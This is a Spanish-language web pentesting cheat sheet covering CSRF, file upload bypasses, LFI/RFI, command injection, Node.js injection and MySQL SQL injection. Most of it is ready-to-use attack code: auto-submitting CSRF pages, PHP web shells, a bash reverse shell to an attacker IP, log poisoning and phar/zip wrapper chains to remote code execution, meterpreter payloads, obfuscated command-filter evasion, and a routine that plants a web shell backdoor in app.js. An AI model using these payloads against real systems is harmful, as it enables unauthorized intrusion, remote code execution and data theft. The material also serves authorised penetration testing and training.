</form>
```

## Formulario HTML POST sin interacción de usuario

### Una solicitud

{% code title="csrf-html-post.html" %}

```html
<html>
  <body onload="document.forms['csrf'].submit()">
    <form action="http://web-vulnerable.com" method="POST" name="csrf">
      <input name="param" type="hidden" value="CSRF" />
    </form>
  </body>
</html>
```

{% endcode %}

### Múltiples solicitudes

{% code title="csrf-html-multi-post.html" %}

```html
<html>
  <head>
    <script>     
      function submitForms() {
        document.forms['csrf'].submit();
        document.forms['csrf2'].submit();
        return false;
      }
    </script>
  </head>
  <body onload="submitForms();">
    <form action="http://web-vulnerable.com/api" method="post" name="csrf" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>
    <form action="http://web-vulnerable.com/api2" method="post" name="csrf2" target="_blank">
      <input name="param" type="hidden" value="value" />
    </form>  
  </body>
</html>
```

{% endcode %}

## JavaScript fetch POST sin interacción de usuario

{% code title="csrf-js-fetch-post.html" %}

```html
<html>
  <head>
    <script>      
      var host = "http://web-vulnerable.com";

      var pathAPI = "/api";
      var paramValueAPI = "value";
      var param2ValueAPI = "value2";
      var paramsAPI = "param=" + paramValueAPI + "&param2=" + param2ValueAPI;

      var pathAPI2 = "/api2";      
      var paramValueAPI2 = "value";
      var param2ValueAPI2 = "value2";
      var paramsAPI2 = "param=" + paramValueAPI2 + "&param2=" + param2ValueAPI2;
    
      function api() {          
        fetch(host+pathAPI, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body : paramsAPI }
        ).then(function(response) {
          console.log("API 1...")
          api2();
        }); 
      }

      function api2() {
        fetch(host+pathAPI2, {
          method: 'POST',
          mode: 'no-cors',
          credentials: 'include',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded' 
          },
          body : paramsAPI2 }
        ).then(
          console.log("API 2...")
        );
      }

      api();
    </script>
  </head>
  <body>
  </body>
</html>
```

{% endcode %}

Alojar y servir página maliciosa.

```sh
sudo systemctl start apache2
cd /var/www/html
```

Víctima visita página maliciosa.

```sh
http://<attacker-IP-address>:<port>/csrf.html
```

## Eludir tokens CSRF mediante configuraciones incorrectas de CORS

```html
<html>
    <head>
        <script>      
            var host = "http://web-vulnerable.com";
            var pathAPI = "/api";
            
            // Get CSRF token
            var xhr = new XMLHttpRequest();
            xhr.open("GET", host+pathAPI, false);
            xhr.withCredentials = true;
            xhr.send();
            var res = new DOMParser().parseFromString(xhr.responseText, "text/html");
            var csrftoken = encodeURIComponent(res.getElementById("csrf").value);
            
            // CSRF
            var csrf_req = new XMLHttpRequest();
            var params = `csrf=${csrftoken}`;
            csrf_req.open("POST", host+pathAPI, false);
            csrf_req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            csrf_req.withCredentials = true;
            csrf_req.send(params);
        </script>
    </head>
    <body>
    </body>
</html>
```


# File upload

## General

1\) Realizar carga de archivo e identificar:

* Lugar de almacenamiento o ubicación donde es utilizado el archivo.
  * Fuzzing de directorios.
  * Forzar mensajes de error.
    * Cargando un archivo con un nombre existente.
    * Enviar dos solicitudes idénticas simultáneamente.
    * Cargar un archivo con un nombre demasiado largo, por ejemplo de 5000 caracteres.
* Nombre con el cual es guardado el archivo.

2\) Identificar la tecnología utilizada.

3\) Comprobar la ejecución de comandos.

```php
# PHP
<?php echo "test"; ?>
<?php system("hostname"); ?>
<?php echo file_get_contents("/etc/passwd"); ?>
```

4\) Subida de web shells y reverse shells.

* [Web shells](https://pentesting.mrw0l05zyn.cl/explotacion/shells/general#web-shells)
* [Reverse shells](https://pentesting.mrw0l05zyn.cl/explotacion/shells/general#reverse-shells)

## Bypass de filtros

### Validación del lado del cliente

Utilizar funcionalidad de "anulaciones locales" de las "herramientas para desarrolladores" del navegador.

### Validación de extensiones con lista negra (blacklist) y blanca (whitelist)

Identificar extensiones permitidas realizando fuzzing.&#x20;

Listas de extensiones web comunes:

* [SecLists](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files)
* Burp Suite -> Intruder -> Payload options -> Extensions list

#### Doble extensión

Si `.jpg` es una extensión permitida se agrega al final del nombre del archivo seguido por la extensión del archivo a ejecutar, por ejemplo: `shell.jpg.php`.

#### Doble extensión inversa

Si `.jpg` es una extensión permitida se mantiene al final del nombre del archivo y se antepone a esta la extensión del archivo a ejecutar, por ejemplo: `shell.php.jpg`.

#### Caracteres especiales

* [Special character generator](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/file-upload/specialCharacterGenerator.sh)

```
%20 
%0a
%00
%0d0a
/
.\
.
…
:
```

### Validación de tipo de contenido (Content-Type)

Identificar los tipos de contenido (`Content-Type`) permitidos realizando fuzzing.&#x20;

Listas de tipos de contenido (`Content-Type`) web:

* [SecLists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)

### Validación de MIME-Type

Identificar los MIME-Type permitidos realizando fuzzing.

Listas de MIME-Type de archivos:

* [Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures)

## Desde file upload a otras vulnerabilidades

### SVG

#### Cross-site scripting (XSS)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert("Stored (Persistent) XSS");</script>
</svg>
```

#### XML external entity (XXE)

Lectura de archivo general.

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="128px" height="128px">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<svg>&xxe;</svg>
```

Lectura de archivo PHP.

```xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<svg>&xxe;</svg>
```

### ZIP

#### Reverse shell

Creación de reverse shell.

{% code title="reverseshell.php" %}

```php
<?php system("bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'"); ?>
```

{% endcode %}

Generación de archivo `.zip` con reverse shell.

```bash
zip reverseshell.zip reverseshell.php
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Subir el archivo `reverseshell.zip` al servidor web objetivo, revisar si el archivo es descomprimido y ejecutar la reverse shell.

```sh
curl http://<target>/reverseshell.php
```


# Path traversal & file inclusion

## Path traversal

```sh
http://<target>/index.php?page=../../../<directory>/<file>
http://<target>/index.php?page=../../../etc/passwd
http://<target>/index.php?page=../../../windows/win.ini
```

### Null byte <a href="#path-traversal-null-byte" id="path-traversal-null-byte"></a>

Omite la adición de caracteres al final de la cadena proporcionada.

```sh
http://<target>/index.php?page=../../../etc/passwd%00
```

## Local File Inclusion (LFI)

### Payloads <a href="#local-file-inclusion-lfi-payloads" id="local-file-inclusion-lfi-payloads"></a>

#### Linux/Unix <a href="#local-file-inclusion-lfi-payloads-linux" id="local-file-inclusion-lfi-payloads-linux"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-payloads.txt>
* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-linux-list.txt>

#### Windows <a href="#local-file-inclusion-lfi-payloads-windows" id="local-file-inclusion-lfi-payloads-windows"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/lfi-rfi/lfi-windows-list.txt>

**SecLists**

* <https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI>

### Fuerza bruta <a href="#local-file-inclusion-lfi-fuerza-bruta" id="local-file-inclusion-lfi-fuerza-bruta"></a>

#### Wfuzz <a href="#local-file-inclusion-lfi-fuerza-bruta-wfuzz" id="local-file-inclusion-lfi-fuerza-bruta-wfuzz"></a>

```sh
wfuzz -u http://<target>/index.php?page=../../../../../../FUZZ -w <path-wordlist-lfi> --hw 0 -c 
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist-lfi> = ruta de wordlist Local File Inclusion (LFI).
* \--hw 0 = ocultar respuestas con 0 (cero) palabras.
* -c = output con colores.

#### FFuF <a href="#local-file-inclusion-lfi-fuerza-bruta-ffuf" id="local-file-inclusion-lfi-fuerza-bruta-ffuf"></a>

```sh
ffuf -u http://<target>/index.php?page=FUZZ -w <path-wordlist>:FUZZ
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist.

### PHP wrappers <a href="#local-file-inclusion-lfi-php-wrappers" id="local-file-inclusion-lfi-php-wrappers"></a>

#### Wrapper php\://filter

```sh
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
```

#### Wrapper data://

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```sh
http://<target>/index.php?page=data://text/plain,<?php phpinfo(); ?>
http://<target>/index.php?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
```

### Local File Inclusion (LFI) a Remote Code Execution (RCE) <a href="#lfi-a-rce" id="lfi-a-rce"></a>

#### Wrapper expect:// <a href="#lfi-a-rce-wrapper-expect" id="lfi-a-rce-wrapper-expect"></a>

Este wrapper está deshabilitado de forma predeterminada.

```sh
http://<target>/index.php?page=expect://id
```

#### Wrapper input:// <a href="#lfi-a-rce-wrapper-input" id="lfi-a-rce-wrapper-input"></a>

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```sh
curl -s -X POST --data "<?php system('id'); ?>" "http://<target>/index.php?page=php://input" | grep uid
```

{% code title="Request" %}

```
POST /index.php?page=php://input
Host: <target>

<?php system('whoami'); ?>
```

{% endcode %}

#### Wrapper data:// <a href="#lfi-a-rce-wrapper-data" id="lfi-a-rce-wrapper-data"></a>

Es posible utilizar este wrapper solo si la opción `allow_url_include` está habilitada en la configuración de PHP.

```
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
```

Ejemplo de web shell (base64).

```sh
# Web shell (PHP)
echo '<?php system($_GET['cmd']); ?>' | base64

# Web shell (PHP) en base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

# Payload final
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
```

Ejemplo de reverse shell (base64).

```sh
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'

# Reverse shell (Bash) en base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn

# Payload final
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
```

#### File upload <a href="#lfi-a-rce-file-upload" id="lfi-a-rce-file-upload"></a>

1\) Wrapper zip\://

Generación de archivo `.zip` con web shell.

```sh
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
rm webshell.php
```

Subir archivo `webshell.zip` al servidor web objetivo.

Es posible hacer referencia a los archivos dentro del archivo `webshell.zip` con el simbolo `#`.

```sh
# Sin URL encode
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id

# Con URL endoce
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
```

2\) Archivo de imagen.

Generación de archivo `webshell.gif` con web shell.

```sh
echo 'GIF8<?php system($_GET["cmd"]); ?>' > webshell.gif
```

Subir archivo `webshell.gif` al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

```sh
http://<target>/index.php?page=webshell.gif&cmd=id
```

3\) Wrapper phar://

{% code title="webshell.php" %}

```php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
```

{% endcode %}

Generación de archivo `.phar` desde `webshell.php` y cambio de extensión a `.jpg`.&#x20;

```sh
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
```

Subir archivo `webshell.jpg` al servidor web objetivo y realizar su ejecución desde el Local File Inclusion (LFI) identificado.

```sh
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
```

#### Log poisoning <a href="#lfi-a-rce-log-poisoning" id="lfi-a-rce-log-poisoning"></a>

Archivos de logs:

* /var/log/apache2/access.log
* /var/log/nginx/access.log
* /var/log/sshd.log
* /var/log/mail
* /var/log/vsftpd.log
* /proc/self/environ

{% code title="Request" %}

```
GET /index.php?page=<log-file>
Host: <target>


User-Agent: <?php system($_GET['cmd']); ?>
```

{% endcode %}

```sh
http://<target>/index.php?page=<log-file>&cmd=id
```

#### Archivos de sesión de PHP <a href="#lfi-a-rce-archivos-sesion-php" id="lfi-a-rce-archivos-sesion-php"></a>

Rutas de almacenamiento de archivos de sesión de PHP:

* /var/lib/php/sessions/
* C:\Windows\Temp

Ejemplo para `PHPSESSID` con valor `ujllfv2j2sm7ae11is401hvdf9`.

```sh
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9
```

Modificación de alguno de los valores almacenados en la sesión por:

```php
<?php system($_GET['cmd']); ?>
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9&cmd=id
```

## Remote File Inclusion (RFI)

Para incluir un archivo remoto en PHP, las opciones `allow_url_fopen` (habilitada de forma predeterminada) y `allow_url_include` deben estar activadas en la configuración.

```sh
http://<target>/index.php?page=http://<domain-name>
http://<target>/index.php?page=http://www.google.com
```

### Remote File Inclusion (RFI) a Remote Code Execution (RCE) <a href="#rfi-a-rce" id="rfi-a-rce"></a>

Creación de webshell.

{% code title="webshell.php" %}

```php
<?php system($_GET['cmd']); ?>
```

{% endcode %}

#### HTTP <a href="#rfi-a-rce-http" id="rfi-a-rce-http"></a>

Habilitación de servidor HTTP para compartir el archivo `webshell.php`.

```sh
python -m SimpleHTTPServer <port>
python3 -m http.server <port>
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=http://<attacker-IP-address>/webshell.php&cmd=id
```

#### FTP <a href="#rfi-a-rce-ftp" id="rfi-a-rce-ftp"></a>

Habilitación de servidor FTP para compartir el archivo `webshell.php`.

```sh
python3 -m pyftpdlib -p 21
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=ftp://<attacker-IP-address>/webshell.php&cmd=id
```

#### SMB <a href="#rfi-a-rce-smb" id="rfi-a-rce-smb"></a>

Cuando la aplicación se ejecuta en Windows, las restricciones aplicadas por `allow_url_include` pueden omitirse mediante el uso del protocolo SMB. Esto se debe a que Windows trata los archivos de los servidores SMB remotos como archivos normales, a los que se puede hacer referencia directamente con una ruta UNC (Universal Naming Convention).

Habilitación de servidor SMB para compartir el archivo `webshell.php`.

```sh
impacket-smbserver -smb2support share $(pwd)
```

Ejecución de comandos.

```sh
http://<target>/index.php?page=\\<attacker-IP-address>\webshell.php&cmd=id
```

### Metasploit <a href="#rfi-a-rce-metasploit" id="rfi-a-rce-metasploit"></a>

```sh
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=5555 -f exe > shell.exe
```

```sh
use unix/webapp/php_include
set RHOST <target>
set PHPURI /index.php?page=XXpathXX
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 4444
exploit
# Desde sesión de meterpreter
upload shell.exe
```

```sh
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT 5555
exploit -j
```

```sh
use unix/webapp/php_include
set PAYLOAD php/exec
set CMD shell.exe
exploi
```


# Command injection

## Operadores de inyección

<table><thead><tr><th width="141.66666666666669">Operador</th><th width="162">URL Encode</th><th>Ejecución</th></tr></thead><tbody><tr><td>;</td><td>%3b</td><td>Ambos</td></tr><tr><td>\n</td><td>%0a</td><td>Ambos</td></tr><tr><td>&#x26;</td><td>%26</td><td>Ambos (generalmente la salida del segundo comando se muestra primero)</td></tr><tr><td>|</td><td>%7c</td><td>Ambos (solo se muestra la salida del segundo comando)</td></tr><tr><td>&#x26;&#x26;</td><td>%26%26</td><td>Ambos (solo si el primer comando tiene éxito)</td></tr><tr><td>||</td><td>%7c%7c</td><td>Segundo comando (solo si el primer comando falla)</td></tr><tr><td>``</td><td>%60%60</td><td>Ambos (solo en Linux/Unix)</td></tr><tr><td>$()</td><td>%24%28%29</td><td>Ambos (solo en Linux/Unix)</td></tr></tbody></table>

## Evasión de filtros

### Bypass de filtro de espacio

* Utilización de tabulador: `%09`
* Uso de la variable de entorno de Linux/Unix: `${IFS}`
* Bash brace expansion: `{ls,-la}`
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space).

### Bypass de lista negra de caracteres

* Uso de la variable de entorno.
  * Linux/Unix.
    * / = `${PATH:0:1}`
    * ; = `${LS_COLORS:10:1}`
    * Búsqueda de carácter en variables de entorno: `printenv | grep "{character}"`
  * Windows.

```sh
# Símbolo del sistema (cmd)
## carácter \
echo %HOMEPATH%
\Users\MrW0l05zyn
echo %HOMEPATH:~6,-10%
\

# PowerShell
## carácter \
$env:HOMEPATH[0]
\
## carácter espacio en blanco
$env:PROGRAMFILES[10]
(espacio en blanco)
## Obtener todas las variables de entorno
Get-ChildItem Env:
```

* Cambio de carácter en Linux/Unix.

```sh
# Carácter \
## El carácter \ está en la posición 92 y 
## antes está el carácter [ en la posición 91
man ascii
echo $(tr '!-}' '"-~'<<<[)
\

# Carácter ;
## El carácter ; está en la posición 59 y 
## antes está el carácter : en la posición 58
man ascii
echo $(tr '!-}' '"-~'<<<:)
;
```

### Bypass de lista negra de comandos

* Linux/Unix.

```shell
# No mezclar el tipo de comillas y 
# la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
i'd'
w"h"o"am"i
p"w"d
i"d"

# La cantidad de caracteres "especiales" no debe ser par
who$@ami
p$@wd
i$@d
w\ho\am\i
p\wd
i\d
```

* Windows.

```shell
# Símbolo del sistema (cmd)
who^ami

# PowerShell
## no mezclar el tipo de comillas y 
## la cantidad de comillas debe ser par
w'h'o'am'i
p'w'd
w"h"o"am"i
p"w"d
```

### Ofuscación de comandos

* Variaciones de mayúsculas y minúsculas.

```shell
# Linux/Unix
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
## URL encode
$(tr+"[A-Z]"+"[a-z]"<<<"WhOaMi")
## Utilización de tabulador %09
$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")
## Uso de la variable de entorno ${IFS}
$(tr${IFS}"[A-Z]"${IFS}"[a-z]"<<<"WhOaMi")

# Windows
## Símbolo del sistema (cmd)
WhOaMi

## PowerShell
WhOaMi
```

* Comandos invertidos.

```shell
# Linux/Unix
echo 'whoami' | rev
imaohw
$(rev<<<'imaohw')

# Windows
## PowerShell
"whoami"[-1..-20] -join ''
iex "$('imaohw'[-1..-20] -join '')"
```

* Comandos encodeados.

```shell
# Linux/Unix
echo -n 'whoami' | base64
d2hvYW1p
bash<<<$(base64 -d<<<d2hvYW1p)
sh<<<$(base64 -d<<<d2hvYW1p)

# Windows
## PowerShell
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
```


# Node.js

## Salida de comando por consola

```javascript
console.log(require("child_process").execSync("id").toString());
console.log(require("child_process").execSync("id").toString());
```

{% hint style="info" %}
El uso de `console.log` no será de utilidad en un escenario de ataque real, sino únicamente para fines de depuración local, ya que no se tendrá acceso a la consola del backend.
{% endhint %}

## Creación de archivo

```javascript
require("child_process").execSync("touch pwned");
```

## Web shell&#x20;

### Mediante modificación de archivo de aplicación

1\) Web shell a base64.

```sh
echo -n 'app.get("/api/cmd", (req, res) => {
  const cmd = require("child_process").execSync(req.query.cmd).toString();
  res.send(cmd);
});' | base64 -w0
```

```
YXBwLmdldCgiL2FwaS9jbWQiLCAocmVxLCByZXMpID0+IHsKICBjb25zdCBjbWQgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMocmVxLnF1ZXJ5LmNtZCkudG9TdHJpbmcoKTsKICByZXMuc2VuZChjbWQpOwp9KTs=
```

2\) Utilizar la inyección de comandos para decodificar la web shell y guardarla en `webshell.txt`.

```javascript
require("child_process").execSync("echo YXBwLmdldCgiL2FwaS9j... | base64 --decode > webshell.txt");
```

3\) Generación de payload en base64 que modifica `app.js` para insertar la web shell.

```sh
echo "sed -i \"/app.use((req, res, next) => {/e cat webshell.txt\" src/app.js" | base64 -w0
```

```
c2VkIC1pICIvYXBwLnVzZSgocmVxLCByZXMsIG5leHQpID0+IHsvZSBjYXQgd2Vic2hlbGwudHh0IiBzcmMvYXBwLmpzCg==
```

4\) Utilizar la inyección de comandos para decodificar el payload y modificar `app.js`.

```sh
require("child_process").execSync("echo c2VkIC1pICIvYXBwLnVz... | base64 -d | bash");
```

5\) Ejecución de comandos a traves de la webshell.

```sh
curl http://<target>/api/cmd?cmd=id
```


# SQL injection (SQLi)

## Identificación SQLi <a href="#identificacion-sqli" id="identificacion-sqli"></a>

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/sql-injection/common-sqli-payloads.txt>

| Payload | URL Encoded |
| :-----: | :---------: |
|    '    |     %27     |
|    "    |     %22     |
|    #    |     %23     |
|    ;    |     %3B     |
|    )    |     %29     |

## Authentication bypass

* [https://github.com/MrW0l05zyn/pentesting/blob/master/sql-injection/sql-injection-authentication-bypass.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/sql-injection/sql-injection-authentication-bypass.txt)

## Union-based SQLi

### Determinar el número de columnas <a href="#union-based-sqli-determinar-el-numero-de-columnas" id="union-based-sqli-determinar-el-numero-de-columnas"></a>

```sql
ORDER BY 1-- -
ORDER BY 2-- -
ORDER BY 3-- -
```

```sql
UNION SELECT NULL-- -
UNION SELECT NULL,NULL-- -
UNION SELECT NULL,NULL,NULL-- -
```

### Determinar el tipo de dato de cada columna <a href="#union-based-sqli-determinar-el-tipo-de-dato-de-cada-columna" id="union-based-sqli-determinar-el-tipo-de-dato-de-cada-columna"></a>

```sql
UNION SELECT 'a',NULL,NULL-- -
UNION SELECT NULL,'a',NULL-- -
UNION SELECT NULL,NULL,'a'-- -
```

### Obtener información <a href="#union-based-sqli-obtener-informacion" id="union-based-sqli-obtener-informacion"></a>

```sql
UNION SELECT columna1, columna2, columna3 FROM tabla1-- -
UNION ALL SELECT columna1, columna2, columna3 FROM tabla1-- -
```

## Payloads

### FuzzDB <a href="#payloads-fuzzdb" id="payloads-fuzzdb"></a>

* <https://github.com/fuzzdb-project/fuzzdb/tree/master/attack/sql-injection/detect>

### Payload Box <a href="#payloads-payload-box" id="payloads-payload-box"></a>

* <https://github.com/payloadbox/sql-injection-payload-list>

### Payloads All The Things <a href="#payloads-payloads-all-the-things" id="payloads-payloads-all-the-things"></a>

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)


# MySQL / MariaDB

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
SELECT @@version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user()
SELECT system_user()
SELECT user()

# Listado de usuarios
SELECT user FROM mysql.user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegios 
SELECT grantee,privilege_type FROM information_schema.user_privileges

# Privilegio de superusuario (Y = Yes)
SELECT super_priv FROM mysql.user WHERE user="<user>"
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
SELECT database()

# Listado de base de datos
SHOW databases
SELECT table_schema FROM information_schema.tables GROUP BY table_schema
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de base de datos actual
SHOW tables

# Tablas de una base de datos
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='<database>'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name, data_type from information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <database>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
extractvalue('',concat('>',version()))
,+extractvalue('',concat('>',version()))
```

### Bases de datos <a href="#error-based-sqli-bases-de-datos" id="error-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
extractvalue('',concat('>',database()))

# Listado de base de datos
extractvalue('',concat('>',(
	SELECT group_concat(table_schema) 
	FROM (
		SELECT table_schema 
		FROM information_schema.tables 
		GROUP BY table_schema) 
	AS foo)
	)
)
```

### Tablas <a href="#error-based-sqli-tablas" id="error-based-sqli-tablas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		AND table_name NOT IN ('<table>')) 
	AS foo)
	)
)

# Ir incrementando el valor de offset
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		limit 1 offset 1)
	AS foo)
	)
)
```

### Columnas <a href="#error-based-sqli-columnas" id="error-based-sqli-columnas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>'
		AND column_name NOT IN ('<column>')) 
	AS foo)
	)
)
```

### Datos <a href="#error-based-sqli-datos" id="error-based-sqli-datos"></a>

```sql
extractvalue('',concat('>',(SELECT substring(<column>,1,32) FROM <table> limit 1 offset 0)))
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Bases de datos <a href="#union-based-sqli-bases-de-datos" id="union-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
UNION SELECT 1,database(),3,4-- -
# Listado de base de datos
UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -
```

### Tablas <a href="#union-based-sqli-tablas" id="union-based-sqli-tablas"></a>

```sql
UNION SELECT 1,table_schema,table_name,4 FROM information_schema.tables WHERE table_schema='<database>'-- -
```

### Columnas <a href="#union-based-sqli-columnas" id="union-based-sqli-columnas"></a>

```sql
UNION SELECT 1,column_name,data_type,2 FROM information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'-- -
```

### Datos <a href="#union-based-sqli-datos" id="union-based-sqli-datos"></a>

```sql
UNION SELECT 1,columna1,columna2,4 FROM <database>.<table>-- -
```

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1-- -
UNION SELECT CONCAT_WS(' - ', columna1, columna2, columna3) FROM tabla1-- -
```

## Time-based SQLi

```sql
AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
'; SELECT CASE WHEN (1=1) THEN SLEEP(10) ELSE SLEEP(0) END
```

## Lectura y escritura de archivos <a href="#lectura-y-escritura-de-archivos" id="lectura-y-escritura-de-archivos"></a>

Para poder leer y escribir archivos se deben cumplir las siguientes condiciones:

* El usuario debe tener habilitado el privilegio "FILE".
* Valor de la variable global `secure_file_priv`:
  * Un valor vacío nos permite leer y escribir en cualquier directorio.
  * Si se establece un determinado directorio, solo podemos leer y escribir desde la carpeta especificada por la variable.
  * `NULL` significa que no podemos leer y escribir en ningún directorio.
* Acceso de lectura y escritura a la ubicación en la que queremos leer o escribir el archivo.

Obtener valor de la variable global `secure_file_priv`.

```sql
SELECT @@GLOBAL.secure_file_priv
